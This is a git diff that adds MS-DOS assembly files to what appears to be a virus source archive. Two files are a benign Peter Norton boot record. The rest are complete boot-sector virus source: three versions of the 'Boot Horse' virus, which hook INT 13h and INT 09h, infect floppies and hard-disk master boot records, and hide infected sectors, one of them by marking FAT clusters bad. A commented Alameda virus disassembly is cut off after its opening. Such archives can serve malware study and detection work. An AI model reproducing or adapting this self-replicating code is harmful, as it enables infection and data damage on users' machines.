diff --git a/MSDOS/Virus.MSDOS.Unknown.boot-ds.asm b/MSDOS/Virus.MSDOS.Unknown.boot-ds.asm new file mode 100644 index 00000000..255aa401 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boot-ds.asm @@ -0,0 +1,116 @@ +; Boot Record Program (C) Copyright Peter Norton 1986 +; From PC Magazine ca. January 1986 + +boots segment 'code' + + public boot + + assume cs:boots + +boot proc far + +; 30-byte DOS info -- set up for 2-sides, 9-sector +; change as needed for any other format + +head: + jmp begin ; EB 2A 90 as per normal + db ' DE 1.0 ' ; 8-byte system id + dw 512 ; sector size in bytes + db 2 ; sectors per cluster + dw 1 ; reserved clusters + db 2 ; number of fats + dw 112 ; root directory entries + dw 760 ; total sectors + db 0FDh ; format id + dw 2 ; sectors per fat + dw 9 ; sectors per track + dw 2 ; sides + dw 0 ; special hidden sectors + +; mysterious but apparently standard 14-byte filler + db 14 dup (0) + +; carry on with the boot work + +begin: + mov ax,07C0h ; boot record location + push ax + pop ds + mov bx,message_offset ; put offset to message into si + mov cx,message_length ; message length from cx +continue: + mov ah,14 ; write teletype + mov al,[bx] + push ds + push cx + push bx + int 10h + pop bx + pop cx + pop ds + inc bx + loop continue + + mov ah,0 ; read next keyboard character + int 16h + + mov ah,15 ; get video mode + int 10h + mov ah,0 ; set video mode (clears screen) + int 10h + + int 19h ; re-boot + +beg_message: + db 0Dh,0Ah ; carriage return, line-feed + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' Start your computer with' + db 0Dh,0Ah + db ' a DOS system diskette.' + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' This is' + db 0Dh,0Ah + db ' The Norton Utilities' + db 0Dh,0Ah + db ' Version 3.0' + db 0Dh,0Ah + db ' from' + db 0Dh,0Ah + db ' Peter Norton' + db 0Dh,0Ah + db ' 2210 Wilshire Blvd' + db 0Dh,0Ah + db ' Santa Monica, CA 90403' + db 0Dh,0Ah + db 0Dh,0Ah + db ' (213) 826-8092' + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' Insert a DOS diskette' + db 0Dh,0Ah + db ' Press any key to start DOS ... ' +end_message: + +; I put a copyright notice here; you do if you want to ... +tail: + +message_offset equ beg_message - head +message_length equ end_message - beg_message +filler_amount equ 512 - (tail - head) - 2 + + db filler_amount dup (0) ; filler + + db 055h,0AAh ; boot id + +boot endp + +boots ends + + end + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.boot-ss.asm b/MSDOS/Virus.MSDOS.Unknown.boot-ss.asm new file mode 100644 index 00000000..2fb96ee2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boot-ss.asm @@ -0,0 +1,115 @@ +; Boot Record Program (C) Copyright Peter Norton 1986 + +boots segment 'code' + + public boot + + assume cs:boots + +boot proc far + +; 30-byte DOS info -- set up for 1-side, 8-sector +; change as needed for any other format + +head: + jmp begin ; EB 2A 90 as per normal + db ' Norton ' ; 8-byte system id + dw 512 ; sector size in bytes + db 1 ; sectors per cluster + dw 1 ; reserved clusters + db 2 ; number of fats + dw 64 ; root directory entries + dw 320 ; total sectors + db 0FEh ; format id + dw 1 ; sectors per fat + dw 8 ; sectors per track + dw 1 ; sides + dw 0 ; special hidden sectors + +; mysterious but apparently standard 14-byte filler + db 14 dup (0) + +; carry on with the boot work + +begin: + mov ax,07C0h ; boot record location + push ax + pop ds + mov bx,message_offset ; put offset to message into si + mov cx,message_length ; message length from cx +continue: + mov ah,14 ; write teletype + mov al,[bx] + push ds + push cx + push bx + int 10h + pop bx + pop cx + pop ds + inc bx + loop continue + + mov ah,0 ; read next keyboard character + int 16h + + mov ah,15 ; get video mode + int 10h + mov ah,0 ; set video mode (clears screen) + int 10h + + int 19h ; re-boot + +beg_message: + db 0Dh,0Ah ; carriage return, line-feed + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' Start your computer with' + db 0Dh,0Ah + db ' a DOS system diskette.' + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' This is' + db 0Dh,0Ah + db ' The Norton Utilities' + db 0Dh,0Ah + db ' Version 3.0' + db 0Dh,0Ah + db ' from' + db 0Dh,0Ah + db ' Peter Norton' + db 0Dh,0Ah + db ' 2210 Wilshire Blvd' + db 0Dh,0Ah + db ' Santa Monica, CA 90403' + db 0Dh,0Ah + db 0Dh,0Ah + db ' (213) 826-8092' + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db 0Dh,0Ah + db ' Insert a DOS diskette' + db 0Dh,0Ah + db ' Press any key to start DOS ... ' +end_message: + +; I put a copyright notice here; you do if you want to ... +tail: + +message_offset equ beg_message - head +message_length equ end_message - beg_message +filler_amount equ 512 - (tail - head) - 2 + + db filler_amount dup (0) ; filler + + db 055h,0AAh ; boot id + +boot endp + +boots ends + + end + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.boot410.asm b/MSDOS/Virus.MSDOS.Unknown.boot410.asm new file mode 100644 index 00000000..6ed6678b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boot410.asm @@ -0,0 +1,257 @@ + .radix 16 + ;****************************************** + ; * + ; Code masters LTD. presents: * + ; THE BOOT HORSE V4.10 * + ; Finished on the 25.04.1991. * + ; This is a boot virus,which does not * + ; "cuts" memory.It places itself into the * + ; second part of the interrupt table.If * + ; it is resident you will not be able to * + ; see the infected boot sector.If you * + ; press CTRL-ALT-DEL & INT 13h had not * + ; been changed,drive A: will be infected. * + ; It shows you the message 'Brr...!' with * + ; possibility 1/16. * + ; Good luck! * + ;****************************************** +Start: + cld ;clear direction + xor ax,ax ;clear ax + mov bp,7c00 ;bp=7c00 + mov ds,ax ;ds=ax=0 + mov ss,ax ;ss=ax=0 + mov sp,bp ;sp=bp=7c00 + push ax ;save abs. addr. 0000:7c00 in stack for retf + push bp ; + xor di,di ;clear di + les bx,[di+9*4] ;load es:bx with current int 09h + mov word ptr [bp+old9h-Start],bx ;save it in a variable + mov word ptr [bp+old9h-Start+2],es + les bx,[di+13*4] ;load es:bx with current int 13h + mov word ptr [bp+old13h-Start],bx ;save it in a variable + mov word ptr [bp+old13h-Start+2],es + mov ax,0020 ;ax=20 + mov [di+9*4],offset int9h-Start ;set int 09h + mov [di+9*4+2],ax + mov [di+13*4],offset int13h-Start ;set int 13h + mov [di+13*4+2],ax + mov es,ax ;es=ax=20 + mov cx,0200 ;will move 512 bytes + mov si,bp ;si=bp=7c00 + rep movsb ;move to 0020:0000 (vectors) + push es ;save es&ax for retf + mov ax,offset here-Start + push ax + retf ;go to 0020:here-Start +here: + test byte ptr [046C],0F ;show a message with possibility 1/16 + jnz dont + mov si,offset msg-Start ;si point the message + mov cx,endmsg-msg ;strings to show +show_it: + db 26 ;ES:lodsb + lodsb ;load next char + mov ah,0e ;show char + xor bh,bh + int 10 ;do it + loop show_it ;show next +dont: + xor ah,ah ;initialize + int 13 + mov es,cx ;es=cx=0 + xchg ax,di + inc ax ;ax=201 =>read one sector. + mov bx,bp ;bx=bp=7c00 + inc cx ;sector 1,cylinder 0.boot sector + mov dx,0080 ;dx=0080 + cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd + je hard + push dx ;save dx + xor dl,dl ;drive A: + push ax ;save ax + int 13 ;read old bootsector from diskette + pop ax ;restore ax=201,read one sector + pop dx ;drive C: + mov bx,0600 ;bx=600 + call ojoj ;read hdd's boot sector + jc goout ;no hdd installed + call check ;infected? + je goout ;yes ->out! + mov ax,0301 ;write one sector (save old) + push ax ;save ax + mov cx,0004 ;sector 4,cylinder 0 + int 13 ;do it + mov byte ptr cs:[ident-Start],dl ;set identificator + push cs ;es=cs + pop es + mov si,07BE ; + mov di,01BE ; copy old partition + mov cx,64d ; + rep movsb ; + pop ax ;Write one sector,ax=301 + xor bx,bx ;from addr ES:BX,bx=0 =>write virus + inc cx ;sector 1,cylinder 0.Boot sector. +hard: + int 13 ;do it +goout: + mov byte ptr cs:[ident-Start],0 ;set ident + retf ;go to 0000:7c00 +int13h: + ;save ax,ds + push ax + push ds + cmp ah,02 ;function read? + jne skip + cmp dl,80 ;drive A,B or C? + ja skip + cmp cx,0001 ; + jne notboot ;gonna read bootsector? + or dh,dh ; + jnz notboot ; + pop ds ;restore ax,ds + pop ax + call ojoj ;execute the task + jc all ;if error then no sence + pushf ;save some registers + push ax + push cx + push dx + call check ;infected? + jne notnow + mov ax,0201 + inc cx ;if so then make some tricks + inc cx ;sector 3,cylinder 0 + inc dh ;side 1 + test dl,80 ;hdd? + je dolie ;if not then + inc cx ;sector 4,cylinder 0 + dec dh ;side 0 +dolie: + call ojoj ;read boot +notnow: + pop dx ;restore registers + pop cx + pop ax + popf +all: +; retf 0002 ;return to caller +db 0ca,2,0 +notboot: + test dl,80 ;drive=C? + jne skip ;if so =>out! + xor ax,ax ;clear ax + mov ds,ax ;ds=ax=0 + mov al,byte ptr [043F] ;this byte shows whether the motor is active + push dx ;save dx + inc dl ;adjust dl + test al,dl ;check if the motor is active. + pop dx ;restore dx + jnz skip ;if so =>leave + call infect ;infect it +skip: + pop ds ;restore flags,ax,ds + pop ax +do: + db 0EAh ;go to the original int 13h + old13h dd 000h ;JMP XXXX:XXXX +infect: + push bx ;save some registers + push cx + push dx + push es + mov ax,0201 ;will read 1 sector + mov cx,0001 ;sector 1,cylinder 0 + xor dh,dh ;side 0 + call ojoj ;do it + jc leave ;on error... + mov byte ptr cs:[count-Start],36d ;load counter + call check ;infected? + je leave ;leave if so. + mov ax,0301 ;write one sector + inc cx ;sector 3,cylinder 0 + inc cx + inc dh ;side 1 + push ax ;save ax + call ojoj ;do write (save old bootsector) + pop ax ;restore ax + jc leave ;write protected + push cs ;es=cs + pop es + xor bx,bx ;write virus + dec cx ;make cx=1 + dec cx ;sector 1,cylinder 0 + dec dh ;side 0 + call ojoj ;that's it! +leave: + pop es ;restore registers + pop dx + pop cx + pop bx + ret ;return +ojoj: + pushf ;this calles the original int 13h + push cs + call do + ret +check: + cmp es:[bx],31FCh ;this checks the first 2 bytes + ret ;to understand if the disk is infected +int9h: + push ax ;the keybord interrupt.save AX + mov ah,02 ;check if ctrl-alt is pressed + int 16 ; + test al,00001100b ;if not =>exit + jz exit + in al,60 ;is del pressed? + cmp al,53 + je cont ;if so... +exit: + pop ax ;restore ax + db 0EAh ;go to the old int 09h + old9h dd 000h ;JMP XXXX:XXXX +cont: + mov al,20 ;free interrupts + out 20,al ;do it + mov ax,0003 ;clear screen + int 10 ;do it + mov dx,03D8 ;chose video port + mov al,04 ;video flag + out dx,al ;no video + mov ax,0060 ;es=60 + mov es,ax ; + xor bx,bx ;drive A + xor dl,dl ;bx=0 + mov ds,bx ;dx=bx=0 + mov byte ptr cs:[count-Start],18d ;load counter to 1 sec. + cli ;set int 1ch + mov [bx+1c*4],offset int1ch-Start + mov [bx+1c*4+2],cs + sti + cmp [bx+13*4],offset int13h-Start ;is int 13h changed? + jne reset ;if so reset computer + call infect ;infect disk in drive A +reset: + xor bx,bx + mov ds,bx ;don't count memory ! + mov [bx+0472],1234 +; JMP FFFF:0000 ;Reset +db 0ea,00,00,0ff,0ff +int1ch: + dec byte ptr cs:[count-Start] ;decrease counter + jz reset ;if zero then reset + iret ;otherwise continue +msg db 'Brr...!',7,0a,0dh, ;message +endmsg label word +ident db 0 ;0 for fdd,80 for hdd +count label byte +partition db 64d dup (?) +bootident dw 0AA55 +endcode label word + + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/MSDOS/Virus.MSDOS.Unknown.boothors.asm b/MSDOS/Virus.MSDOS.Unknown.boothors.asm new file mode 100644 index 00000000..dcfb21b9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boothors.asm @@ -0,0 +1,217 @@ +; +; The Horse's boot sector virus +; This is an author's source +; + + + + .radix 16 +begin: + jmp start + +my label word + + db 'IBM 3.3' + dw 200 + db 2 + dw 1 + db 2 + dw 70 + dw 2d0 + db 0fdh + dw 2 + dw 9 + dw 2 + dw 0 + +lee label word + +virlen equ offset endcode-begin + +start: + cld + sub ax,ax + mov ds,ax + mov bp,7c00 + cli + mov ss,ax + mov sp,bp + sti + push ax + push bp + mov ax,[413] + push [13*4+2] + push [13*4] + pop word ptr [old13h+7c00-100] + pop word ptr [old13h+7c00-100+2] + dec ax + mov [413],ax + mov cl,6 + shl ax,cl + mov es,ax + + mov [13*4],offset int13h-100 + mov [13*4+2],es + + mov cx,virlen + sub di,di + mov si,bp + rep movsb + push es + mov ax,offset here-begin + push ax + retf +here: + sub ax,ax + mov es,ax + int 13 + mov ax,0201 + mov bx,bp + cmp byte ptr cs:[ident-100],0fdh + je from_disk + mov cx,0007 + mov dx,0080 + int 13 + jmp exit + +from_disk: + + mov cx,2709 + mov dx,0100 + int 13 + jc exit + push cs + push cs + pop es + pop ds + mov ax,0201 + mov bx,0200 + mov cx,0001 + mov dx,0080 + int 13 + jc exit + call inf? + je exit + mov byte ptr [ident-100],0f8 + mov ax,0301 + mov bx,0200 + mov cx,0007 + mov dx,0080 + int 13 + jc exit + call move + mov ax,0301 + sub bx,bx + mov cx,0001 + int 13 +exit: + mov byte ptr cs:[ident-100],0fdh + retf +int13h: + push ds + push ax + cmp dl,1 + ja skip + cmp ah,2 + jb skip + cmp ah,3 + ja skip + sub ax,ax + mov ds,ax + mov al,[43f] + push dx + and ax,3 + and dx,3 + inc dl + test al,dl + pop dx + jne skip + call infect +skip: + pop ax + pop ds +do: + jmp dword ptr cs:[old13h-100] + +infected?: + + sub ax,ax + call ojoj + mov ax,0201 + mov bx,0200 + mov cx,0001 + sub dh,dh + call ojoj +inf?: + mov si,offset start-100 + mov di,offset start-100+200 + mov cx,mbyte-start + rep cmpsb +return: + ret +infect: + push bx + push cx + push dx + push si + push di + push es + push cs + push cs + pop es + pop ds + cld + call infected? + je leave + mov ax,0301 + mov bx,0200 + mov cx,2709 + mov dh,1 + call ojoj + jc leave + call move + mov ax,0301 + sub bx,bx + mov cx,0001 + sub dh,dh + call ojoj +leave: + pop es + pop di + pop si + pop dx + pop cx + pop bx + ret + +ojoj: + pushf + push cs + call do + ret +move: + mov di,offset my-100 + mov si,offset my-100+200 + mov cx,lee-my + rep movsb + mov di,offset usm-100 + mov si,offset usm-100+200 + mov cx,endcode-usm + rep movsb + ret + + +mbyte label word + +old13h dd ? +ident db 0fdh + +usm label word + +db 135d dup (?) + +db 55,0AA + +endcode label word + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.boothrs2.asm b/MSDOS/Virus.MSDOS.Unknown.boothrs2.asm new file mode 100644 index 00000000..cbf81ab5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boothrs2.asm @@ -0,0 +1,252 @@ + .radix 16 + ;****************************************** + ; * + ; Code masters LTD. presents: * + ; THE BOOT HORSE V4.10 * + ; Finished on the 25.04.1991. * + ; This is a boot virus,which does not * + ; "cuts" memory.It places itself into the * + ; second part of the interrupt table.If * + ; it is resident you will not be able to * + ; see the infected boot sector.If you * + ; press CTRL-ALT-DEL & INT 13h had not * + ; been changed,drive A: will be infected. * + ; It shows you the message 'Brr...!' with * + ; possibility 1/16. * + ; Good luck! * + ;****************************************** +Start: + cld ;clear direction + xor ax,ax ;clear ax + mov bp,7c00 ;bp=7c00 + mov ds,ax ;ds=ax=0 + mov ss,ax ;ss=ax=0 + mov sp,bp ;sp=bp=7c00 + push ax ;save abs. addr. 0000:7c00 in stack for retf + push bp ; + xor di,di ;clear di + les bx,[di+9*4] ;load es:bx with current int 09h + mov word ptr [bp+old9h-Start],bx ;save it in a variable + mov word ptr [bp+old9h-Start+2],es + les bx,[di+13*4] ;load es:bx with current int 13h + mov word ptr [bp+old13h-Start],bx ;save it in a variable + mov word ptr [bp+old13h-Start+2],es + mov ax,0020 ;ax=20 + mov [di+9*4],offset int9h-Start ;set int 09h + mov [di+9*4+2],ax + mov [di+13*4],offset int13h-Start ;set int 13h + mov [di+13*4+2],ax + mov es,ax ;es=ax=20 + mov cx,0200 ;will move 512 bytes + mov si,bp ;si=bp=7c00 + rep movsb ;move to 0020:0000 (vectors) + push es ;save es&ax for retf + mov ax,offset here-Start + push ax + retf ;go to 0020:here-Start +here: + test byte ptr [046C],0F ;show a message with possibility 1/16 + jnz dont + mov si,offset msg-Start ;si point the message + mov cx,endmsg-msg ;strings to show +show_it: + db 26 ;ES:lodsb + lodsb ;load next char + mov ah,0e ;show char + xor bh,bh + int 10 ;do it + loop show_it ;show next +dont: + xor ah,ah ;initialize + int 13 + mov es,cx ;es=cx=0 + xchg ax,di + inc ax ;ax=201 =>read one sector. + mov bx,bp ;bx=bp=7c00 + inc cx ;sector 1,cylinder 0.boot sector + mov dx,0080 ;dx=0080 + cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd + je hard + push dx ;save dx + xor dl,dl ;drive A: + push ax ;save ax + int 13 ;read old bootsector from diskette + pop ax ;restore ax=201,read one sector + pop dx ;drive C: + mov bx,0600 ;bx=600 + call ojoj ;read hdd's boot sector + jc goout ;no hdd installed + call check ;infected? + je goout ;yes ->out! + mov ax,0301 ;write one sector (save old) + push ax ;save ax + mov cx,0004 ;sector 4,cylinder 0 + int 13 ;do it + mov byte ptr cs:[ident-Start],dl ;set identificator + push cs ;es=cs + pop es + mov si,07BE ; + mov di,01BE ; copy old partition + mov cx,64d ; + rep movsb ; + pop ax ;Write one sector,ax=301 + xor bx,bx ;from addr ES:BX,bx=0 =>write virus + inc cx ;sector 1,cylinder 0.Boot sector. +hard: + int 13 ;do it +goout: + mov byte ptr cs:[ident-Start],0 ;set ident + retf ;go to 0000:7c00 +int13h: + ;save ax,ds + push ax + push ds + cmp ah,02 ;function read? + jne skip + cmp dl,80 ;drive A,B or C? + ja skip + cmp cx,0001 ; + jne notboot ;gonna read bootsector? + or dh,dh ; + jnz notboot ; + pop ds ;restore ax,ds + pop ax + call ojoj ;execute the task + jc all ;if error then no sence + pushf ;save some registers + push ax + push cx + push dx + call check ;infected? + jne notnow + mov ax,0201 + inc cx ;if so then make some tricks + inc cx ;sector 3,cylinder 0 + inc dh ;side 1 + test dl,80 ;hdd? + je dolie ;if not then + inc cx ;sector 4,cylinder 0 + dec dh ;side 0 +dolie: + call ojoj ;read boot +notnow: + pop dx ;restore registers + pop cx + pop ax + popf +all: +; retf 0002 ;return to caller +db 0ca,2,0 +notboot: + test dl,80 ;drive=C? + jne skip ;if so =>out! + xor ax,ax ;clear ax + mov ds,ax ;ds=ax=0 + mov al,byte ptr [043F] ;this byte shows whether the motor is active + push dx ;save dx + inc dl ;adjust dl + test al,dl ;check if the motor is active. + pop dx ;restore dx + jnz skip ;if so =>leave + call infect ;infect it +skip: + pop ds ;restore flags,ax,ds + pop ax +do: + db 0EAh ;go to the original int 13h + old13h dd 000h ;JMP XXXX:XXXX +infect: + push bx ;save some registers + push cx + push dx + push es + mov ax,0201 ;will read 1 sector + mov cx,0001 ;sector 1,cylinder 0 + xor dh,dh ;side 0 + call ojoj ;do it + jc leave ;on error... + mov byte ptr cs:[count-Start],36d ;load counter + call check ;infected? + je leave ;leave if so. + mov ax,0301 ;write one sector + inc cx ;sector 3,cylinder 0 + inc cx + inc dh ;side 1 + push ax ;save ax + call ojoj ;do write (save old bootsector) + pop ax ;restore ax + jc leave ;write protected + push cs ;es=cs + pop es + xor bx,bx ;write virus + dec cx ;make cx=1 + dec cx ;sector 1,cylinder 0 + dec dh ;side 0 + call ojoj ;that's it! +leave: + pop es ;restore registers + pop dx + pop cx + pop bx + ret ;return +ojoj: + pushf ;this calles the original int 13h + push cs + call do + ret +check: + cmp es:[bx],31FCh ;this checks the first 2 bytes + ret ;to understand if the disk is infected +int9h: + push ax ;the keybord interrupt.save AX + mov ah,02 ;check if ctrl-alt is pressed + int 16 ; + test al,00001100b ;if not =>exit + jz exit + in al,60 ;is del pressed? + cmp al,53 + je cont ;if so... +exit: + pop ax ;restore ax + db 0EAh ;go to the old int 09h + old9h dd 000h ;JMP XXXX:XXXX +cont: + mov al,20 ;free interrupts + out 20,al ;do it + mov ax,0003 ;clear screen + int 10 ;do it + mov dx,03D8 ;chose video port + mov al,04 ;video flag + out dx,al ;no video + mov ax,0060 ;es=60 + mov es,ax ; + xor bx,bx ;drive A + xor dl,dl ;bx=0 + mov ds,bx ;dx=bx=0 + mov byte ptr cs:[count-Start],18d ;load counter to 1 sec. + cli ;set int 1ch + mov [bx+1c*4],offset int1ch-Start + mov [bx+1c*4+2],cs + sti + cmp [bx+13*4],offset int13h-Start ;is int 13h changed? + jne reset ;if so reset computer + call infect ;infect disk in drive A +reset: + xor bx,bx + mov ds,bx ;don't count memory ! + mov [bx+0472],1234 +; JMP FFFF:0000 ;Reset +db 0ea,00,00,0ff,0ff +int1ch: + dec byte ptr cs:[count-Start] ;decrease counter + jz reset ;if zero then reset + iret ;otherwise continue +msg db 'Brr...!',7,0a,0dh, ;message +endmsg label word +ident db 0 ;0 for fdd,80 for hdd +count label byte +partition db 64d dup (?) +bootident dw 0AA55 +endcode label word + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.boothrs3.asm b/MSDOS/Virus.MSDOS.Unknown.boothrs3.asm new file mode 100644 index 00000000..59d90e6e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boothrs3.asm @@ -0,0 +1,434 @@ + .radix 16 +start: + jmp begin + + db 'IBM 3.3' + dw 200 + db 2 + dw 1 + db 2 + dw 70 + dw 2D0 + db 0FDh + dw 2 + dw 9 + dw 2 + dw 0 + +work dd ? +count db ? +drive db ? +Fat_sec dw ? +old_boot dw 666d +flag db ? +sys_sec dw ? + +;Simulate PUSHA + +pusha: + pop word ptr cs:[sys_sec-start] + pushf + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + jmp word ptr cs:[sys_sec-start] + +;Simulate POPA + +popa: + pop word ptr cs:[sys_sec-start] + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp word ptr cs:[sys_sec-start] + +;This procedure Reads/Writes the absolute sector in BX +;ES:BP must point I/O buffer + +write: + mov ah,3 + jmp short do_it +read: + mov ah,2 +do_it: + mov al,1 + xchg ax,bx + add ax,[001C] ;Hidden sectors + xor dx,dx + div word ptr [0018] + inc dl ;Adjust dl because BIOS counts sectors from 1 (not from 0) + mov ch,dl ;dl is the first sector + xor dx,dx + div word ptr [001A] ;Cylinder in AX + mov cl,6 ;Set CX if cylinder is bigger than 512 + shl ah,cl + or ah,ch + xchg ax,cx + xchg ch,cl + xchg dh,dl + xchg ax,bx + +abs_read: + xchg bx,bp + mov dl,byte ptr [drive-start] ;dl is the drive + pushf + db 9A +orig dd ? + jnc ok_func + pop ax +ok_func: + ret + + +begin: + xor ax,ax ;Virus begining + mov bp,7C00 + mov ds,ax ;Clear ds&ss + mov ss,ax + mov sp,bp ;Set SP bellow virus + xchg ax,di + mov si,bp + mov ax,2000 ;Copy virus somewhere in memory + mov es,ax + mov cx,0100 + rep movsw + push es + mov ax,offset here-start + push ax + retf ;go there + + +here: + mov ax,1234 + cmp [80*4],ax + mov [80*4],ax + je skip_this + les bx,[1C*4] ;Get old int 1Ch value + mov cs:[work-start],bx + mov cs:[work-start+2],es + mov [1C*4],offset entry_1C-start ;Set new value + mov [1C*4+2],cs + +skip_this: + + les bx,[13*4] ;Save original int 13h + mov cs:[orig-start],bx + mov cs:[orig-start+2],es + push cs ;DS=ES=CS + push cs + pop ds + pop es +again: + mov ax,offset again-start + push ax + xor ah,ah ;Initialize Floppy + mov byte ptr [flag-start],ah + int 13 + and byte ptr [drive-start],80 ;Drive A: or C: + mov bx,word ptr [old_boot-start] ;Read second part + mov bp,offset second-start + call read + mov bx,word ptr [old_boot-start] + inc bx + xor ax,ax + mov es,ax + mov bp,7C00 + call read ;Read old Boot + db 0EA,00,7C,00,00 ;JMP 0000:7C00 + +entry_1C: + push si + push ds + + xor si,si + mov ds,si + cmp [si+21*4],si + je not_yet + + push bx + push es + + les bx,cs:[si+work-start] + mov [si+1C*4],bx + mov [si+1C*4+2],es + les bx,[si+21*4] + mov word ptr cs:[si+jmp_21-start],bx + mov word ptr cs:[si+jmp_21-start+2],es + mov [si+21*4],offset go_on-start + mov [si+21*4+2],cs + + pop es + pop bx + +not_yet: + pop ds + pop si + iret + +go_on: + call pusha + cmp ax,4B00 + je install +return: + call popa + + db 0EA +jmp_21 dd ? + +install: + + mov ah,52 + int 21 + xor si,si + xor di,di + mov ds,es:[bx-02] + mov bx,ds + mov ax,[si+3] + add [si+3],96 + inc bx + add ax,bx + mov es,ax + push es + mov ax,es:[si+3] + sub ax,96 + push ax + mov ax,[si+3] + add ax,bx + mov ds,ax + mov byte ptr [si],'Z' + mov [si+1],si + pop [si+3] + pop es + push cs + pop ds + mov cx,0200 + rep movsw + mov ax,word ptr [jmp_21-start] + mov bx,word ptr [jmp_21-start+2] + mov ds,cx + mov [21*4],ax + mov [21*4+2],bx + mov ax,[13*4] + mov bx,[13*4+2] + mov es:[my-start],ax + mov es:[my-start+2],bx + mov [13*4],offset real-start + mov [13*4+2],es + jmp short return + + +real: + call pusha + cmp ah,02 + jne exit + cmp dl,81 + ja exit + mov byte ptr cs:[drive-start],dl +check: + xor ax,ax + mov ds,ax + mov byte ptr cs:[flag-start],al + mov al,byte ptr [043F] + push dx + test dl,80 + jz ok_drive + sub dl,7F + shl dx,1 + shl dx,1 + dec dx +ok_drive: + inc dx + test al,dl + pop dx + jnz exit + push cs + push cs + pop es + pop ds + call infect +exit: + call popa +call_cur: + db 0EA +my dd ? + +ident dw 01234 + dw 0AA55 + + second label word + + db '666' + +infect: + push dx + xor ah,ah + int 1A + test dl,01 + pop dx + jz bad + mov ax,0201 + mov dh,0 + mov cx,0001 + mov bp,offset buffer-start + call abs_read + test dl,80 + jz usual + mov bx,offset buffer-start+01BE + mov cx,0004 +search: + cmp byte ptr [bx+4],1 + je okay + cmp byte ptr [bx+4],4 + je okay + add bx,10 + loop search + ret + +okay: + mov dx,[bx] + mov cx,[bx+2] + mov ax,0201 + mov bp,offset buffer-start + call abs_read +usual: + mov si,offset buffer-start+3 + mov di,0003 + mov cx,1Bh + rep movsb + cmp [buffer-start+01FC],1234 ;Infected ? + jne well +bad: + ret + +well: + cmp [0Bh],200 ;Bytes in sector + jne bad + cmp byte ptr [0Dh],2 ;Sectors in 1 cluster + jb bad + mov cx,[0E] ;Reserved dectors + mov al,[10] ;Copies of FAT + cbw + mul word ptr [16] ;FAT in sectors + add cx,ax + mov ax,20 ;32 bytes + mul word ptr [11] ;Elements in the catalogue + mov bx,1FF + add ax,bx + inc bx + div bx + add cx,ax + mov word ptr [sys_sec-start],cx ;system sectors + mov ax,[0013] ;Sectors on the disk + sub ax,cx + mov bl,[0Dh] ;Sectors in cluster + xor dx,dx + xor bh,bh + div bx + inc ax ;AX=clusters on disk + mov di,ax + and byte ptr [flag-start],0FE + cmp ax,0FF0 + jbe small + or byte ptr [flag-start],1 +small: + mov si,1 + mov bx,[0E] ;Where to read FAT from + dec bx + mov [Fat_sec-start],bx + mov byte ptr [count-start],0FE + +look_here: + + inc word ptr [Fat_sec-start] ;Next sector in FAT + mov bx,[Fat_sec-start] + add byte ptr [count-start],2 ;Adjust for new offset + mov bp,offset buffer-start ;BP points buffer + call read ;Read FAT's sector + jmp short where + +look: + mov ax,3 ;Multiply by 1.5 rounded down to integer number + test byte ptr [flag-start],1 + je go_1 + inc ax ;For 16 bit FAT +go_1: + mul si + shr ax,1 + sub ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes + mov bx,ax + cmp bx,1FF ;If reached the end then load next FAT sector + jnb look_here + mov dx,[bx+buffer-start] ;Information for this cluster + test byte ptr [flag-start],01 + jne go_2 + test si,1 + je go_3 + mov cl,4 + shr dx,cl +go_3: + and dh,0F +go_2: + or dx,dx ;Free cluster ? + jz found +where: + inc si + cmp si,di + jbe look + ret + +found: + mov dx,0FFF7 ;Prepare for marking it as bad + test byte ptr [flag-start],1 + jnz go_4 + and dh,0F + test si,1 + je go_4 + mov cl,4 + shl dx,cl +go_4: + or [bx+buffer-start],dx ;Set it in FAT + mov bx,[Fat_sec-start] + mov bp,offset buffer-start + call write ;Update 1'st FAT copy + mov ax,si ;Convert cluster address in si to sector number + sub ax,2 + mov bl,byte ptr [0Dh] + xor bh,bh + mul bx + add ax,[sys_sec-start] + mov si,ax ;Si is the sector that is free + xor bx,bx + mov bp,offset buffer-start + call read ;Read old BOOTSECTOR + mov bx,si ;Put it in a quiet place + inc bx + mov bp,offset buffer-start + call write ;Do that + mov bx,si + mov [old_boot-start],si + mov bp,offset second-start + call write + xor bx,bx + xor bp,bp + call write + ret + +this_ db 1024d-(this_-start) dup (0F6h) + + buffer label word + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.bootvir.asm b/MSDOS/Virus.MSDOS.Unknown.bootvir.asm new file mode 100644 index 00000000..67c92bbf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bootvir.asm @@ -0,0 +1,431 @@ + + P/HUN Issue #4, Volume 2: Phile 3 of 11 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A BOOT SECTOR VIRUS + 5/15/89 + + +The following is a disassembled and commented version of the Alemeda +College Boot infector virus. Courtesy of Southern Cross. + + +;-----------------------------------------------------------------------; +; This virus is of the "FLOPPY ONLY" variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for 